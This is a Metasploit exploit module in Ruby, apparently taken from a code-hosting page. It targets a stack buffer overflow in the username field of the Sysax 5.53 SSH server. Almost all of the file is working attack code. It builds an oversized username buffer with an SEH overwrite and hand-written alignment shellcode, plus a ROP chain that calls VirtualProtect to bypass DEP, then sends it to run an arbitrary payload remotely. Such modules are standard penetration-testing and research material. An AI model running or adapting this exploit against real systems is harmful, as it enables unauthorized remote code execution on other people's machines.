910644400d
All other types of references use String arguments, but approximately half of the EDB references use Fixnums. Fix this by using Strings here too.
244 lines
6.1 KiB
Ruby
244 lines
6.1 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# Framework web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/framework/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = NormalRanking
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => "Sysax 5.53 SSH Username Buffer Overflow",
|
|
'Description' => %q{
|
|
This module exploits a vulnerability found in Sysax's SSH service. By
|
|
supplying a long username, the SSH server will copy that data on the stack
|
|
without proper bounds checking, therefore allowing remote code execution
|
|
under the context of the user. Please note that previous versions
|
|
(before 5.53) are also affected by this bug.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Craig Freyman', #Initial discovery, PoC
|
|
'sinn3r' #Metasploit
|
|
],
|
|
'References' =>
|
|
[
|
|
['OSVDB', '79689'],
|
|
['URL', 'http://www.pwnag3.com/2012/02/sysax-multi-server-ssh-username-exploit.html'],
|
|
['EDB', '18535']
|
|
],
|
|
'Payload' =>
|
|
{
|
|
'Space' => 1024,
|
|
'BadChars' => "\x00\x3a",
|
|
'StackAdjustment' => -3500
|
|
},
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => "seh"
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[
|
|
'Sysax 5.53 on Win XP SP3 / Win2k3 SP0',
|
|
{
|
|
'Rop' => false,
|
|
'Ret' => 0x00402669 # POP/POP/RET - sysaxservd.exe
|
|
}
|
|
],
|
|
[
|
|
'Sysax 5.53 on Win2K3 SP1/SP2',
|
|
{
|
|
'Rop' => true,
|
|
'Ret' => 0x0046d23c # ADD ESP, 0F8C # RETN
|
|
}
|
|
]
|
|
],
|
|
'Privileged' => false,
|
|
'DisclosureDate' => "Feb 27 2012",
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
OptInt.new('RPORT', [false, 'The target port', 22])
|
|
], self.class)
|
|
end
|
|
|
|
def check
|
|
begin
|
|
connect
|
|
banner = sock.get_once(-1,5) || ''
|
|
disconnect
|
|
if banner =~ /SSH\-2\.0\-SysaxSSH_1\.0/
|
|
return Exploit::CheckCode::Vulnerable
|
|
end
|
|
rescue
|
|
end
|
|
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
|
|
def load_netssh
|
|
begin
|
|
require 'net/ssh'
|
|
return true
|
|
rescue LoadError
|
|
return false
|
|
end
|
|
end
|
|
|
|
def get_regular_exploit
|
|
#
|
|
# Align the stack to the beginning of the fixed size payload
|
|
#
|
|
align = "\x54" #PUSH ESP
|
|
align << "\x58" #POP EAX
|
|
align << "\x04\x08" #ADD AL,0x08
|
|
align << "\x8b\x18" #MOV EBX, [EAX]
|
|
align << "\x93" #XCHG EAX,EBX
|
|
align << "\x66\x2d\x10\x04" #SUB AX,0x361
|
|
align << "\x50" #PUSH EAX
|
|
align << "\xc3" #RET
|
|
|
|
#
|
|
# Our payload limited to 1024+4 bytes
|
|
#
|
|
p = make_nops(4)
|
|
p << payload.encoded
|
|
|
|
#
|
|
# Craft the buffer like this:
|
|
# [392 bytes][20 bytes][< 9404 bytes][payload][alignment][nseh][seh]
|
|
# * The 20-byte region is where our source IP is written. 20 bytes gives it enough room
|
|
# for the IP length, so the next 9404-byte space will begin at a consistent place.
|
|
# * After SEH, we have ~1860 bytes, but we don't need that because we're doing a
|
|
# partial-overwrite to allow a null byte in SEH.
|
|
#
|
|
buf = ''
|
|
buf << rand_text(392, payload_badchars)
|
|
buf << rand_text(20, payload_badchars)
|
|
buf << rand_text(9204-buf.length-align.length-p.length, payload_badchars) #8796+392+20
|
|
buf << p
|
|
buf << align
|
|
buf << "\xeb" + [0-align.length-2].pack('c') + make_nops(2) #Short jmp back
|
|
buf << [target.ret].pack('V*')
|
|
|
|
return buf
|
|
end
|
|
|
|
def get_rop_exploit
|
|
|
|
junk = rand_text(4).unpack("L")[0].to_i
|
|
nop = make_nops(4).unpack("L")[0].to_i
|
|
|
|
# !mona rop -m msvcrt
|
|
p =
|
|
[
|
|
0x77bb2563, # POP EAX # RETN
|
|
0x77ba1114, # <- *&VirtualProtect()
|
|
0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
|
|
junk,
|
|
0x77bb0c86, # XCHG EAX,ESI # RETN
|
|
0x77bc9801, # POP EBP # RETN
|
|
0x77be2265, # ptr to 'push esp # ret'
|
|
0x77bb2563, # POP EAX # RETN
|
|
0x03C0990F,
|
|
0x77bdd441, # SUB EAX, 03c0940f
|
|
0x77bb48d3, # POP EBX, RET
|
|
0x77bf21e0, # .data
|
|
0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN
|
|
0x77bbfc02, # POP ECX # RETN
|
|
0x77bef001, # W pointer (lpOldProtect) (-> ecx)
|
|
0x77bd8c04, # POP EDI # RETN
|
|
0x77bd8c05, # ROP NOP (-> edi)
|
|
0x77bb2563, # POP EAX # RETN
|
|
0x03c0984f,
|
|
0x77bdd441, # SUB EAX, 03c0940f
|
|
0x77bb8285, # XCHG EAX,EDX # RETN
|
|
0x77bb2563, # POP EAX # RETN
|
|
nop,
|
|
0x77be6591, # PUSHAD # ADD AL,0EF # RETN
|
|
].pack("V*")
|
|
|
|
p << payload.encoded
|
|
|
|
#
|
|
# Similar buffer structure to get_regular_exploit
|
|
#
|
|
buf = ''
|
|
buf << rand_text(392, payload_badchars)
|
|
buf << rand_text(20, payload_badchars)
|
|
buf << rand_text(1012, payload_badchars)
|
|
buf << p
|
|
buf << rand_text(9204-buf.length)
|
|
buf << rand_text(4, payload_badchars)
|
|
buf << [target.ret].pack('V*')
|
|
|
|
return buf
|
|
end
|
|
|
|
def exploit
|
|
#
|
|
# Load net/ssh so we can talk the SSH protocol
|
|
#
|
|
has_netssh = load_netssh
|
|
if not has_netssh
|
|
print_error("You don't have net/ssh installed. Please run gem install net-ssh")
|
|
return
|
|
end
|
|
|
|
#
|
|
# Create buffer based on target (DEP or no DEP)
|
|
# If possible, we still prefer to use the regular version because it's more stable
|
|
#
|
|
if target['Rop']
|
|
buf = get_rop_exploit
|
|
else
|
|
buf = get_regular_exploit
|
|
end
|
|
|
|
#
|
|
# Send the malicious buffer
|
|
#
|
|
pass = rand_text_alpha(8)
|
|
begin
|
|
print_status("Sending malicious request to #{rhost}:#{rport}...")
|
|
ssh = Net::SSH.start(
|
|
datastore['RHOST'],
|
|
buf,
|
|
{
|
|
:password => pass,
|
|
:port => datastore['RPORT'],
|
|
:timeout => 1,
|
|
:proxies => datastore['Proxies']
|
|
})
|
|
|
|
::Timeout.timeout(1) {ssh.close} rescue nil
|
|
|
|
rescue Errno::ECONNREFUSED
|
|
print_error("Cannot establish a connection on #{rhost}:#{rport}")
|
|
return
|
|
rescue ::Exception => e
|
|
if e.message =~ /fingerprint [0-9a-z\:]+ does not match/
|
|
print_error("Please remove #{rhost}:#{rport} from your known_hosts list")
|
|
return
|
|
end
|
|
end
|
|
|
|
handler(ssh)
|
|
end
|
|
end
|
|
|
|
=begin
|
|
Todo: We seriously need a MSF SSH mixin to handle the SSH protocol ourselves, not
|
|
relying on net/ssh.
|
|
=end
|